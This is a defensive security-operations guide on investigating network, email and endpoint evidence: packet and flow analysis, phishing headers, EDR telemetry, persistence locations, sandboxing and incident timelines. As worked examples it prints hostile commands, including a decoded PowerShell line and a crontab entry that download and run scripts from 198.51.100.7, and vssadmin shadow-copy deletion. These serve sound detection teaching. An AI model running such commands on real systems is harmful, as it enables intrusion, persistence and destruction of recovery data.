Analyzing Network, Email and Endpoint Activity

A packet capture saves the headers and payload that reach a sensor in a .pcap or .pcapng file. It can show the contents of unencrypted exchanges, along with addresses, ports and timing. Collect and store it under the organization's monitoring policy: a capture can contain passwords and personal data.

Choose a useful capture point

A network TAP passively copies traffic from a link. A SPAN port asks a switch to mirror selected ports or VLANs. SPAN can drop copies when its output is overloaded; an aggregating TAP can also lose packets if both directions together exceed the monitoring port's capacity. A host capture sees that host's traffic. An internet-edge sensor misses traffic that stays inside the network. Outside NAT, it sees a shared public address, so keep NAT records to identify the internal host.

Save broadly, inspect narrowly

A capture filter decides what is saved. A display filter changes the view of packets already saved. Their syntax differs:

BPF port 443 also includes UDP, including QUIC. A narrow capture filter can discard an attacker's other channel permanently. A display filter can be removed whenever the investigation changes direction.

For a targeted capture, use:

sudo tcpdump -i eth0 -nn -s 0 -w case42.pcap host 192.168.1.50 and not port 22

-i selects the interface; -nn keeps addresses and ports numeric and avoids name lookups; -s 0 keeps full packets; -w writes raw packets. The filter excludes port 22, such as an analyst's SSH session. Read saved DNS traffic with tcpdump -nn -r case42.pcap port 53.

In Wireshark, dns shows DNS; http.request shows HTTP requests. Use tcp.flags.syn == 1 && tcp.flags.ack == 0 for initial TCP attempts, tls.handshake.type == 1 for TLS Client Hellos, and ip.dst == 10.0.0.0/8 for destinations in that range. frame contains "password" finds that text in captured bytes. Combine conditions with &&, || and !.

Plan retention and preserve evidence

At 40% use, a 100 Mbit/s link carries 40 Mbit/s. Dividing by eight gives 5 MB/s; over 3,600 seconds that is 18,000 MB, or 18 GB. Ring buffers overwrite the oldest capture, while targeted captures reduce storage needs. Export relevant evidence before a buffer overwrites it.

TLS leaves addresses, sizes, timing and available handshake metadata visible, but hides application content unless session keys or an inspection point provide it. DNS and server-name visibility also depend on the protocols in use. Hash the original capture with SHA-256, record the interface and capture interval, and analyze a copy. Check clock synchronization and packet-drop statistics; tcpdump's “dropped by kernel” counter reveals traffic the capture system missed.

Read a packet from its outer delivery information toward its application data. On Ethernet, Wireshark shows MAC addresses, then the IP addresses and TTL, then TCP or UDP ports, and finally DNS, HTTP, TLS or another application protocol. The details pane opens these layers; the bytes pane shows their raw hexadecimal values.

Follow the exchange

TCP starts with SYN, SYN-ACK and ACK. In 10.0.0.23:51544 → 203.0.113.80:443 SYN, the high source port belongs to the client. The reply swaps the addresses and ports. FIN requests a graceful close; RST ends the connection abruptly. A reset in response to a SYN usually indicates a closed port. No response can reflect filtering, loss or missing visibility, so inspect both the packets and the capture position.

UDP has no transport handshake. DNS commonly uses UDP 53 and also uses TCP 53, including for large responses and zone transfers. Read the question's record type: A asks for IPv4, AAAA for IPv6, MX for mail servers, TXT for text and CNAME for an alias. NXDOMAIN means the requested name does not exist.

A DNS response followed by a connection to its returned IP suggests a link. Confirm the requested name with an HTTP Host header, visible TLS SNI, proxy records or endpoint data: several domains may share that address.

Rebuild application activity

Wireshark's Follow TCP Stream assembles one conversation in order and separates the two directions by color. Statistics → Conversations ranks communicating pairs by packets and bytes; Protocol Hierarchy shows the protocol mix.

Suppose a stream contains:

GET /update.php?id=WS-0423 HTTP/1.1
Host: cdn-update.example.net
User-Agent: Mozilla/4.0

The response is 200 OK, declares application/octet-stream, and starts with MZ. Those bytes suggest a Windows executable. The .php path can return any content; it need not be the downloaded file's name. Check the exported object's type, hash and signature, then connect the request to its process and destination history.

GET requests fetch content; POST requests send a body. Read the Host, path, User-Agent, response status and body sizes together. Large repeated POST bodies to a new destination warrant investigation. Status 301 or 302 redirects the client, while 404 reports a missing resource.

File → Export Objects → HTTP, or the SMB equivalent, can recover transferred objects when the necessary unencrypted content is present. Keep recovered samples in the isolated analysis environment and record their hashes.

Read encrypted traffic accurately

A Client Hello normally exposes SNI, the requested server name, unless Encrypted Client Hello protects it. TLS 1.2 exposes the server certificate in the handshake; TLS 1.3 encrypts it. JA3 and JA4 fingerprints summarize Client Hello characteristics and can help group similar clients. A new certificate, missing SNI or a shared fingerprint is a lead to check against process and destination context.

Port 443 suggests HTTPS but cannot establish the protocol. Inspect the actual exchange or use Decode As when a dissector needs help recognizing a protocol on an unusual port.

Flow records summarize traffic without keeping its payload. They make it practical to search weeks of activity before retrieving a short packet capture. The usual 5-tuple is source IP, destination IP, source port, destination port and transport protocol. Records also hold times, counts and often TCP flags.

Know how the source counts

NetFlow v5 has a fixed IPv4 format; NetFlow v9 uses templates and supports IPv6. IPFIX is the IETF standard derived from that template approach. Cloud flow logs provide related network summaries. sFlow samples packets and adds interface counters, so its observations need careful scaling.

With 1-in-1,000 sampling, 1,200 sampled packets represent roughly 1.2 million packets. The estimate describes volume; a brief connection might leave no sampled packet. An empty sample is weak evidence for deciding whether one particular connection occurred.

Exporters often record each direction separately and split long connections at active timeouts. Match reverse records by swapping both addresses and ports, while preserving the protocol. Then join fragments belonging to the same connection. Total bytes separately by direction, and measure elapsed time from the earliest start to the latest end. Adding overlapping record durations inflates the time.

Read Zeek connection records

Zeek produces structured connection and protocol logs. In conn.log, ts is the start time and uid links the connection to records such as http.log or ssl.log. The id.orig_h and id.orig_p fields name the originator; id.resp_h and id.resp_p name the responder. The originator started the conversation and can be an external host. proto, service, duration, orig_bytes and resp_bytes describe its transport, recognized application and activity.

For unanswered attempts, zero Zeek payload bytes can accompany real packets. Flow exporters commonly count IP headers as well, so their byte counts differ. Read packet counts and state alongside the documented byte fields.

Measure an unusual upload

From 02:10 to 02:50 UTC, 10.0.0.23 sends 2.4 GB to 198.51.100.7:443 and receives 12 MB. Convert 2.4 GB to 2,400 MB: outbound volume is 200 times inbound. Forty minutes is 2,400 seconds, so the average outbound rate is 1 MB/s, or 8 Mbit/s.

The rate is not the verdict. Compare the host's usual volume, destination history and role. A scheduled backup can explain a nightly upload; a new destination and an unapproved sending process strengthen a data-theft hypothesis. Pivot to EDR for the responsible process, DNS or proxy data for the name, and packets for content if available. A baseline should compare like roles: a backup server and a receptionist's workstation have different normal traffic.

Network patterns tell you where to investigate. An approved scanner and an intruder can create very similar packets.

Recognize the shape of the traffic

A vertical scan probes many ports on one host. A horizontal scan probes the same port across many hosts. If 10.0.0.99 sends SYNs to 1,000 ports on 10.0.0.5 in 12 seconds, the rate is about 83 attempts per second. Many S0 or REJ records and a few successful connections fit scanning. Check the scanner inventory and authorized schedule.

A rogue device is connected without authorization. Compare new DHCP leases and MAC addresses with the asset inventory; an unfamiliar manufacturer prefix, an unauthorized access point or a second DHCP server calls for investigation. NAC helps enforce which devices can connect.

Judge services by host role. SSH commonly uses 22, SMTP 25, DNS 53, HTTP 80, HTTPS 443, SMB 445, RDP 3389 and WinRM 5985/5986. Direct outbound SMTP from a workstation can indicate a spam bot. SMB or RDP from one workstation to many peers can indicate lateral movement. Verify which service is actually present.

Separate timers from user activity

Connections at 10:00:00, 10:05:02, 10:09:59, 10:15:01 and 10:20:00 have gaps of 302, 297, 302 and 299 seconds. The mean is 300 seconds and the variation is about two seconds. Similar small exchanges at those intervals suggest a timer. Beaconing is repeated C2 contact; update agents also use timers. Find the initiating process and destination purpose. Malware may add jitter, such as ±20%, so a less regular pattern still deserves attention.

Investigate DNS abuse

DNS tunneling places data in query names, often with long encoded labels and many unique subdomains. A label can carry at most 63 characters; an ordinary textual full name has a 253-character limit. Repeated TXT or NULL queries and high volume add weight to the pattern. Many random-looking names returning NXDOMAIN suggest a DGA trying names until one resolves. External DNS over HTTPS can also remove activity from the organization's normal DNS logs.

Read and verify a rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"Possible reverse shell to port 4444"; flow:to_server,established; sid:1000001; rev:1;)

The header specifies alerting on TCP from the home network to external port 4444. The flow condition requires established traffic toward the server; sid identifies the rule and rev its revision. The message names a possible reverse shell, but this rule checks a connection pattern, not shell commands.

Snort and Suricata match traffic against rules; Zeek mainly supplies logs and behavior scripts. Verify an IDS alert with its packets, the target's platform and endpoint changes after the exchange. Detection mode observes copies; an inline IPS can block traffic, making a mistaken match operationally disruptive.

The address a reader sees and the identity checked during mail delivery are different fields. Start with the original .eml or .msg so you retain the headers that a forwarded copy can replace. A header analyzer can arrange the evidence, but you still need to know which server wrote each result.

Find the identities and trusted hops

The SMTP envelope sender is used for bounces and appears in Return-Path. The header From is the visible sender. Reply-To controls replies, and Message-ID helps locate related mail records. A mailing service can legitimately use an envelope domain different from its customer's visible domain.

Each relay prepends a Received line. Read the travel sequence from the bottom upward, but establish trust from your own gateway's entries: a sender can forge lines below the first trusted entry. An optional X-Mailer field is also sender-controlled. Use the sending IP recorded by your trusted receiving server.

Apply the three checks

An SPF TXT record such as v=spf1 ip4:192.0.2.0/24 include:_spf.example.net -all authorizes that range and the included senders. -all gives other senders a fail; ~all gives softfail. Results can also be neutral, none, temperror or permerror. Forwarding often breaks SPF because the forwarder's IP is not authorized by the original envelope domain.

DKIM's d= names the signing domain and s= selects its key at <selector>._domainkey.<domain>. A passing signature means the signed material survived unchanged. Forwarding can preserve it, while message rewriting can break it.

DMARC relaxed alignment accepts the same organizational domain; strict alignment requires an exact domain match. The TXT policy at _dmarc.<domain> can request none, quarantine or reject; the receiver decides handling. RFC 9989 replaced the older DMARC standard in May 2026, removed pct and introduced t=y test mode. Check a policy with nslookup -type=txt _dmarc.example.com.

Work through an authentication result

Your gateway reports SPF pass for mailer.example-billing.net, DKIM pass for example-billing.net, and From examp1e.com. Neither passing domain aligns with the visible domain, so DMARC fails. SPF and DKIM authenticated different identities; they did not authenticate that visible address.

Read only the Authentication-Results added by a trusted gateway. A correctly configured attacker-owned lookalike can pass all three checks, and so can a compromised legitimate mailbox. Combine authentication with sender history, message content and link analysis. Conversely, investigate whether forwarding or mailing-list changes explain a failure before calling it spoofing.

Phishing tries to turn a message into a harmful action: giving away credentials, sending money or running a file. The strongest clue is often a departure from the recipient's normal process. Fluent writing and a familiar name are easy for an attacker to provide.

Read the sender and destination carefully

Display-name spoofing puts a trusted name above an unrelated address, such as "IT Service Desk" <it.desk.2291@freemail.example>. Typosquatting changes a domain's spelling; cousin domains add reassuring words. Homoglyphs substitute similar-looking characters from other alphabets. A Cyrillic first letter makes аpple.com a different domain; its punycode form is xn--pple-43d.com.

A link's visible label can differ from its actual target. Shorteners and open redirects conceal later destinations. In https://www.example.com@198.51.100.7/login, the host is 198.51.100.7; the part before @ is user information. In https://example.com.login-verify.net/, the registered domain is login-verify.net. Reading the reassuring leftmost words misidentifies who controls the destination.

Recognize the requested action

Urgency, claimed executive authority, account-closure threats, gift cards and bank-detail changes all push the recipient away from established checks. Spear phishing uses research about a specific target; whaling targets executives. Related delivery forms include smishing by text, vishing by voice and quishing through QR codes. A QR code can move a link onto a phone beyond email-link filtering.

Attachments may carry macro documents, HTML login pages or HTML smuggling, password-protected archives, disk images, LNK shortcuts, or PDFs containing links. Modern Office blocks macros by default in internet-marked files, so messages may coach users to remove the block. An archive password hinders inspection, although some gateways can extract the password from the message and scan its contents.

Investigate payment fraud without malware

Business email compromise, or BEC, impersonates a colleague, executive or supplier to obtain money, payment-detail changes or sensitive information. It can use a lookalike address or a real compromised mailbox. It often contains no link or attachment, leaving scanners little to inspect. A changed Reply-To or a new rule hiding replies is useful supporting evidence.

In an existing invoice thread, a known supplier requests that a 48,000-euro payment go to a new bank account. Authentication passes. The mailbox has been compromised, and the attacker has used thread hijacking to borrow the conversation's trust. Verify the request through a phone number already held in the supplier record before changing payment details. A number supplied in the message is part of the unverified request.

An internal address can also be compromised; include internal recipients and replies in the account investigation.

A phishing investigation has two jobs: understand the message and find everyone it reached. One reported copy is a starting point. The action taken by a recipient determines which account or host evidence you need next.

Preserve and inspect the message

Export the original with full headers, then copy URLs as text for inspection in an isolated analysis environment. Record indicators in defanged form, such as hxxps://login-verify[.]net/acct, to prevent accidental clicks in tickets. Preserve the untouched original alongside the working copy.

Mail gateways may wrap a URL inside another URL's parameter. Percent-encoding represents characters with a percent sign and two hexadecimal digits: %3A is a colon and %2F a slash. Decode one layer at a time and inspect the result before interpreting another layer.

For example, URL decoding:

https%3A%2F%2Flogin-verify.net%2Facct%3Fu%3DamFuZUBleGFtcGxlLm9yZw%3D%3D

produces https://login-verify.net/acct?u=amFuZUBleGFtcGxlLm9yZw==. Base64 decoding the u value gives jane@example.org. The parameter identifies the intended recipient and can personalize the fake page. CyberChef's URL Decode, From Base64 and Defang URL operations make these separate transformations visible.

Before a public URL submission, remove victim-identifying values; a public result or personalized request can expose the investigation to the attacker. Preview shortened links through an approved analysis service. The service's visibility and submission behavior matter as well as the URL itself.

Inspect files and extract search fields

Calculate an attachment's SHA-256 and look up its reputation before uploading it. Check its type from the opening bytes. For an Office file, olevba can list macros and flag automatic triggers such as AutoOpen or Document_Open and calls such as Shell. Use a private sandbox for confidential internal content.

Collect the sender address and display name, the IP in the trusted Received entry, subject, Message-ID, URL hosts and paths, and attachment names and hashes. Keep exact values in evidence; use defanged copies in notes. A filename can change across messages, while an identical hash still links identical file content.

Scope recipients and interactions

Search gateway and mailbox records using several of those fields. List recipients, then distinguish delivery from interaction using DNS and proxy records, sign-ins after link visits, and EDR events for attachment opening and execution.

A search can find 40 delivered messages, six link visitors and two accounts with unfamiliar successful sign-ins minutes later. Preserve the records, remove the campaign messages and block the malicious URL or domain through the response process. The two affected accounts need password resets and active-session revocation. A recipient list alone would miss the difference between exposure and likely compromise.

Closing the ticket because the reporting user deleted the message leaves the other recipients unexamined. Record who received it, who interacted, what followed and which evidence is still missing.

Endpoint telemetry connects network and file evidence to the program that caused it. EDR records endpoint activity, detects suspicious behavior and provides remote investigation and response. Its history can reveal activity that a file's current state no longer shows.

Choose the right source

Traditional antivirus focuses on blocking known malicious files. EDR adds process, file, registry, connection and logon history. XDR brings endpoint evidence together with network, email, identity and cloud sources. MDM manages phones and tablets: its inventory and compliance records can reveal unapproved apps, rooting or jailbreaking, and it supports actions such as locking or wiping devices.

Windows Security events provide useful anchors:

System event 7045 also records a service installation. Windows stores events in .evtx files that can be exported for structured searching. On Linux, use auditd, authentication logs and the system journal.

Use Sysmon's process identity

Sysmon is available as a built-in optional feature on Windows 11 and Windows Server 2025, and as a Sysinternals download for other systems. Event 1 records process creation with the full command line, parent, hashes and a Process GUID. That GUID keeps separate processes distinct even when the operating system reuses a PID.

Other useful events are 3 for network connections, 11 for file creation, 12–14 for registry changes and 22 for DNS queries. Event 3 is off by default because it can generate substantial volume. Check the active configuration before interpreting an absent event as absent activity.

Pivot from an alert

Start with the host, user, detection and process tree. Read what launched the process, what it launched, and which files, registry values and destinations it touched. Expand the timeline before and after the alert; a detection timestamp is not necessarily the intrusion's start.

Pivot from a hash to all hosts with that file, or from a destination to all hosts that contacted it. Prevalence adds context: an unknown program on one of 5,000 hosts is unusual, while software on all hosts may be standard deployment. Compare both with approved software and behavior; widespread malicious activity can also have high prevalence.

Keep response and visibility in order

EDR can isolate a host, stop a process, quarantine or collect a file, block a hash and open live response. Isolation normally preserves the management connection while restricting other network access. Follow the response playbook and collect needed evidence before actions that destroy process memory or change files.

Check sensor health when the console looks quiet: installation status, recent reporting, configuration and signs of tampering. A stopped agent creates a visibility gap and can itself be part of the intrusion.

A process name is only one field in an investigation. Check its executable path, parent, user, command line, signature and hash together. Preserve the PID with its start time, or use a Process GUID, to avoid joining different processes that reused the same PID.

Compare name, path and parent

A normal svchost.exe runs from C:\Windows\System32, is started by services.exe and normally has a -k group argument. lsass.exe runs from the same system directory as one instance, started by wininit.exe; services.exe also has that parent. Explorer normally runs per logged-on user, and its userinit.exe parent exits. A missing live parent for Explorer therefore needs different interpretation from a system process launched by Word.

A near-miss name such as scvhost.exe, a system name in C:\Users\Public, or an unusual LSASS parent suggests masquerading. Office starting a shell is another strong lead: follow WINWORD.EXE or EXCEL.EXE into cmd.exe, PowerShell, wscript.exe or mshta.exe. On a web server, w3wp.exe starting a command shell suggests a web shell.

Read what signed tools are asked to do

LOLBins are legitimate system programs misused by an attacker. certutil.exe can download a file with -urlcache -split -f; mshta.exe can run an HTML application from a URL; rundll32.exe and regsvr32.exe can run DLL or script code. bitsadmin.exe can transfer files, and wmic process call create starts processes. Their valid signatures describe the programs' publishers, while the parent and arguments reveal their use in this case.

PowerShell flags such as -nop, -w hidden, -ExecutionPolicy Bypass and -enc deserve close inspection. IEX runs text as code; iwr and DownloadString fetch content. Script block logging, event 4104, can expose decoded script content.

Decode before judging

PowerShell -EncodedCommand uses Base64-encoded UTF-16LE text. For -enc aQB3AHIAIABoAHQAdABwADoALwAvADEAOQA4AC4ANQAxAC4AMQAwADAALgA3AC8AYQAuAHAAcwAxACAAfAAgAGkAZQB4AA==, apply From Base64 in CyberChef, then Decode text as UTF-16LE. The result is:

iwr http://198.51.100.7/a.ps1 | iex

iwr retrieves the script and the pipeline passes it to iex for execution. This can run code without saving the downloaded script as a file. Letters separated by zero bytes after Base64 decoding indicate the missing UTF-16LE interpretation.

Trace a process chain in order: Outlook opens invoice.docm in Word; Word starts a command shell; PowerShell contacts the server and writes upd.exe; the new executable starts its own traffic. Link each step to recorded events. A signed deployment agent can also use encoded PowerShell for an approved installation, so inspect the decoded content and authorization.

On Linux, investigate executables in /tmp or /dev/shm, curl piped into bash, a shell redirected to a remote socket, or /proc/<pid>/exe marked “(deleted)”. A user process named [kworker/0:1] is suspicious if it has a disk executable: real kernel threads descend from kthreadd, PID 2, and have no executable file.

Persistence gives an attacker a way to regain execution or access after interruptions such as logoff or reboot. A host may contain several mechanisms, each with a separate trigger. Record the location, target, timestamps and file hash before removing an entry.

Inspect Windows autostart locations

Run keys under HKCU\Software\Microsoft\Windows\CurrentVersion apply to the current user; the user can write them without administrator rights. The corresponding HKLM Run key applies across users and needs elevated rights to change. RunOnce provides one-time execution; HKLM RunOnce executes when an administrator logs on after reboot. Run entries trigger at logon, not when a file is copied to disk.

Startup folders also launch content at logon. Check the user's AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup and the shared C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp. Sysmon registry events 12–14 and file event 11 help time these changes.

Scheduled tasks can trigger on an interval, a time or an event:

schtasks /create /sc minute /mo 30 /tn "GoogleUpdateTaskCore" /tr "C:\Users\Public\upd.exe"

This runs the target every 30 minutes, or 48 times per day. The trusted-looking task name does not identify the target's publisher. Inspect Security event 4698 when auditing is enabled, Task Scheduler's Operational log and definitions under C:\Windows\System32\Tasks.

Services can start at boot, often as SYSTEM. Inspect System event 7045 or Security event 4697 and the configured image path. A new service that launches from a public folder or runs PowerShell deserves attention.

WMI event subscriptions join an event filter to a consumer action and can persist without a Startup file; Sysmon 19–21 records their components and binding. Also inspect new accounts and administrator membership, web-server files, browser extensions and unexpected DLLs loaded through search-order hijacking.

Check Linux and macOS

On Linux, inspect each user's crontab -l, /etc/crontab, /etc/cron.d/, systemd unit files in /etc/systemd/system/, shell startup files and ~/.ssh/authorized_keys. List units with systemctl list-unit-files. macOS uses LaunchAgents and LaunchDaemons with property-list definitions; check their configured programs and triggers.

In a user crontab, */10 * * * * curl -s http://198.51.100.7/s.sh | bash downloads and runs a script every 10 minutes. The fields are minute, hour, day of month, month and day of week. A new SSH key creates another access route even after a password reset.

Compare and connect the findings

Autoruns collects many Windows autostart locations into one view. Hiding trusted publishers can reduce clutter during an initial pass, but revisit signed entries when other evidence points to them. Compare with a healthy host from the same image and the approved baseline.

For example, a Run value called OneDriveUpdate points to an unsigned odu.exe in a user's roaming profile. Its file and registry creation times are 09:15 UTC, one minute after suspicious macro execution. That shared timing and target path connect the autostart entry to the intrusion. Continue through the other locations after finding it: a scheduled task or service could restore the same payload.

A compromised host leaves changes beyond its process tree. Look for new files and software, weaker security settings, unusual resource use and files gathered for transfer. Compare them with the host's role and the order of events.

Read file changes and provenance

Programs and scripts in C:\Users\Public, %TEMP%, %APPDATA% or /tmp deserve attention when they are unexpected. A double extension such as invoice.pdf.exe conceals the true file role. Mass renaming, new extensions and ransom notes across many folders form a much stronger ransomware pattern than one unfamiliar file.

File dates can be manipulated. Sysmon event 2 records changes to a file's creation time, called timestomping. Compare the event history with the visible date before deciding that an old-looking file predates the incident.

Windows often adds the Zone.Identifier alternate data stream to internet downloads. This Mark of the Web can include the source URL, while Sysmon event 15 can record the stream's creation. Preserve the stream with the file when collecting it; copying or extraction methods can strip it, so absence alone is weak origin evidence.

Look for weakened defenses

Changes worth investigating include disabled real-time protection, new antivirus exclusions, inbound firewall rules, newly enabled RDP, new local administrators and reduced audit settings. Security event 1102 records clearing the Security audit log. Correlate these changes with the responsible user or process and approved maintenance.

Commands such as vssadmin delete shadows /all /quiet remove Volume Shadow Copies, and wbadmin delete catalog removes the backup catalog. Attackers use these to damage recovery before ransomware encryption. Their appearance calls for immediate escalation through the playbook while the team checks the surrounding process and file activity.

Compare software and resource use

Signed remote support software can still provide unauthorized access. Compare EDR or MDM inventory with the approved list and deployment records. Investigate credential tools, scanners, or cloud-transfer tools such as rclone on a host without an approved need for them.

A miner can drive CPU or GPU use near 100% and contact a mining pool, sometimes using a stratum+tcp:// address. High utilization also occurs in legitimate workloads, so tie the resource load to a process and destination. Disk filling, memory exhaustion and repeated service crashes can point to data collection or failed exploitation.

Connect staging to outbound traffic

Data staging gathers material before exfiltration. Large .7z or .rar archives in a public or temporary folder, password protection and equal-sized archive parts are useful leads. Identify the creating process, the files collected and the time of the operation.

If an unapproved process creates archive parts and then sends a large upload, the sequence connects preparation with transfer. Flow data measures the traffic but cannot reveal archive contents. Use process and file-access evidence to determine what was collected; the archive's size alone cannot establish which records left the organization.

Reputation adds outside context to local evidence. It can identify a known file, reveal a newly registered domain or show recent abuse reports. The lookup's age, privacy implications and connection to this host matter as much as its score.

Identify the exact file

A cryptographic hash gives file content a fixed-length identifier. MD5 uses 32 hexadecimal characters, SHA-1 uses 40 and SHA-256 uses 64. Practical collision attacks weaken MD5 and SHA-1, so use SHA-256 for evidence identification.

Get-FileHash .\file.exe -Algorithm SHA256
certutil -hashfile file.exe SHA256

On Linux, use sha256sum file. Changing even one byte changes the hash dramatically: the SHA-256 prefixes of “invoice” and “Invoice” are 52d6e3de4fa0dcc2 and b832002da297545f. An attacker can recompile or pad a payload to evade an exact-hash match. Fuzzy hashes such as ssdeep compare similarity; imphash groups PE files by their imports.

Interpret a reputation report

VirusTotal combines multiple engines, relationships and analysis reports. A result of 58/72 means about 81% flagged the file; 3/72 means about 4%. A low count can reflect a false alarm or a new threat. Read the detection names, first submission, observed filenames, signature and contacted infrastructure alongside the ratio. Zero detections leave the behavior question open.

A hash lookup avoids sending the file contents but reveals which hash interests you. If the service already holds the file, the hash can identify it. Uploads share the actual sample and may expose it to subscribers or an attacker watching submissions. Check the hash first; keep confidential content in approved private analysis systems.

A valid signature increases confidence in origin, but stolen certificates and abuse of signed system tools remain possible. Verify both signature validity and whether the signer fits the claimed product. Then judge the observed command or file behavior.

Read domain and IP context

Registration data can reveal a registrar and creation date even when owner details are redacted. RDAP is the authoritative registration-data protocol for generic top-level domains following the January 2025 transition; tools may still label their view “WHOIS”. A domain created two days before a phishing campaign is a useful warning sign. Passive DNS adds past address mappings, and certificate transparency adds issued certificate names.

AbuseIPDB aggregates IP abuse reports. Check dates and the reported service: a cloud IP may have changed customer. GeoIP gives an approximate location of infrastructure, not a reliable location of the person behind a VPN, Tor or a cloud service. Shared hosting and CDNs also make broad IP blocking disruptive.

Favor evidence that survives changes

The Pyramid of Pain orders hashes, IPs, domains, host/network artifacts, tools and attacker techniques by increasing difficulty for the attacker to change. Exact hashes are easy to replace. A detection of Word spawning a downloader and establishing persistence can remain useful after the file hash and destination change. Keep short-lived indicators with review or expiry dates while recording the behavior that produced them.

Static analysis examines a file without executing it. It helps identify what the file really is, what capabilities it may contain and what a sandbox should watch for. Keep capability clues separate from behavior that has actually been observed.

Identify the type and readable content

Extensions are easy to rename. Inspect the magic bytes with file, a hex viewer or CyberChef's Detect File Type operation:

An attachment called invoice.pdf beginning with MZ is posing as a document. Confirm the structure, since a short signature alone is only an initial type check.

GNU strings -a file.exe extracts ASCII text across the file. strings -a -e l file.exe extracts UTF-16LE text, common in Windows programs. FLOSS and Sysinternals Strings can help cover both. Search for domains, URLs, commands, registry paths, filenames and error messages. Extracted text can be unused or misleading, so preserve its location and check it against later behavior.

Read structure and packing clues

A PE executable has headers, sections such as .text, .data and .rsrc, and an import table of functions it requests. VirtualAllocEx, WriteProcessMemory and CreateRemoteThread together suggest possible code injection. URLDownloadToFile and InternetOpenUrl suggest download capability. A compile timestamp can be forged and needs corroboration.

Packers compress or encrypt code and unpack it in memory. Few strings, a short import list, UPX0/UPX1 sections and high entropy suggest packing. Entropy approaches 8 bits per byte for highly random-looking data, but compressed resources and ordinary installers can look similar. Packing changes how you investigate; it does not settle the verdict.

Decode text and test a match

CyberChef recipes can combine Base64, hexadecimal, XOR, decompression and URL decoding. Apply operations in the order the content needs. A regular expression such as \b(?:\d{1,3}\.){3}\d{1,3}\b extracts IPv4-like text, but also matches 999.1.1.1, so validate the candidates.

A YARA rule can combine independent features:

rule Suspicious_Downloader
{
    strings:
        $mz = { 4D 5A }
        $a = "DownloadString" ascii wide
        $b = "198.51.100.7"
    condition:
        $mz at 0 and $a and $b
}

The file must start with MZ and contain both strings; ascii wide accepts the download string in either representation. Test the rule against known-good files to measure accidental matches. A match establishes the rule's conditions, while analyst review establishes their significance.

For documents, extract macros with olevba. For scripts, remove encoding or obfuscation as text. Use the resulting functions, arguments and indicators to configure and interpret the dynamic analysis.

Dynamic analysis runs a sample in a controlled environment and records its actions. A sandbox can reveal the behavior hidden by packing or a document's active content. Its report describes that run under that configuration; check whether the sample had what it needed to act.

Set up a useful run

Use an isolated, instrumented environment such as Joe Sandbox, Cuckoo or an interactive sandbox. Separate it from production, control its network access and reset to a clean snapshot after each run. Network services can be simulated with INetSim or FakeNet, or routed through approved analysis infrastructure. Keep confidential samples in private systems.

Match the target operating system and applications. A macro document needs the relevant Office environment; an archive may need its password; a program may require arguments, clicks, a particular parent or a reboot. Record those settings and the run duration so another analyst can interpret the result.

Read the actions behind the score

Inspect the process tree, file changes, registry changes, DNS and HTTP activity, connections, screenshots and dropped-file hashes. A report may also show mutexes and ATT&CK mappings. A mutex coordinates exclusive access to a resource; malware sometimes uses a distinctive mutex name to avoid running two copies. Legitimate software uses mutexes too.

Consider a document run that produces Word → hidden encoded PowerShell, a lookup for cdn-update.example.net, an HTTP GET for /a.ps1, C:\Users\Public\upd.exe, and a Run entry pointing to that file. Collect the domain, IP, URL, dropped-file hash, path and Run value. PowerShell supports mapping to T1059.001, and the Run entry supports T1547.001. Delivery by phishing attachment needs separate email evidence for T1566.001.

Tie the report's claims to its recorded events. A high summary score helps prioritize a sample, but the process actions explain what happened and which indicators are useful in your environment.

Investigate an inactive sample

Malware can sleep past the observation period, detect virtual hardware, inspect memory or CPU resources, wait for clicks, or require a particular language or location. A failed download can also prevent the next stage from running. Recheck dependencies and static findings before treating an inactive run as reassuring.

Choose a rerun that tests a concrete explanation: extend the duration for a delay, provide the required application or arguments, add interaction, or use another operating-system profile. Document what changed. If important uncertainty remains, escalate the sample for specialist reverse engineering.

Bring the findings back to the case

Search DNS, proxy, firewall and EDR records for the meaningful domains, paths, hashes and behavior. A sandbox's Windows updates, certificate checks and connectivity tests are background activity; distinguish them from actions caused by the sample before blocking destinations.

A sandbox can supply search leads for other hosts, but its isolated run does not establish which production hosts were infected. Match the leads to local events and process history, then preserve those records with the report and sample hash.

Correlation joins records into an account of an incident that another analyst can check. Email can establish delivery, endpoint telemetry can establish execution, and network evidence can establish communication. A useful timeline separates those observations from the causal links you are still testing.

Normalize time and identity

Convert times to UTC and retain the original zone and any known clock offset. An EDR time of 11:14:31 at UTC+2 is 09:14:31 UTC. Confirm whether the console or export has converted a sensor's original UTC timestamps. NTP drift can leave sources minutes apart even after time-zone conversion.

Choose join fields that identify the same object at that time: host, user, hash, URL, domain, Message-ID, Zeek uid, or Process GUID. A PID needs a start time because it can be reused. An IP needs DHCP or VPN history because a later lease may assign it to another host. Preserve each source record or query reference beside the timeline entry.

Build the chain of observed events

For one case, the UTC evidence is:

• 09:12:05: a message carrying invoice.docm reaches 40 mailboxes.
• 09:14:10: the user on WS-0423 opens the attachment.
• 09:14:31: Word starts encoded PowerShell.
• 09:14:32–33: DNS resolves the download host and an HTTP GET requests /a.ps1.
• 09:15:02: upd.exe is written and a Run value is created.
• From 09:20:00: connections recur every 300 seconds.
• The next night, 02:10–02:50: 2.4 GB leaves for the same IP.

The process and file evidence support the execution and persistence links. The large upload needs further attribution: sharing an IP with earlier traffic is weaker than sharing a process instance and application channel.

Map only what the evidence supports

MITRE ATT&CK supplies standard names for behavior. The message supports spearphishing attachment, T1566.001; PowerShell supports T1059.001; the Run entry supports T1547.001. Mapping the periodic traffic to web-protocol C2, T1071.001, needs HTTP or HTTPS evidence. Mapping the upload to exfiltration over that C2 channel, T1041, needs evidence that the same process and channel carried it.

ATT&CK is not a prescribed sequence. Discovery, credential access and lateral movement are possible follow-up searches, not missing steps that must be inserted into the timeline.

Use gaps to choose the next query

If the upload exceeds the user's own files, investigate whether the process read shares, generated data, repeated transfers or coincided with legitimate traffic. Find the sender and transferred content where available. Record an unexplained event as unexplained instead of forcing it into the first theory.

Actively test an alternative explanation, such as an approved change or backup. Confirmation bias appears when an analyst collects only facts that fit the first diagnosis. A timeline becomes more useful when each uncertain link names the evidence that would strengthen or weaken it.

A verdict states what the evidence supports, how confident you are and what should happen next. The incident record must let another analyst repeat the investigation. A high-severity alert label alone supplies neither a verdict nor a defensible confidence level.

Classify the finding

A true positive correctly alerts on malicious activity. A false positive alerts on activity outside what the detection was intended to find. A benign true positive correctly detects real but authorized behavior, such as a scheduled penetration test. A false negative is malicious activity that was missed. Use “inconclusive” when the evidence cannot yet decide, and name the missing data.

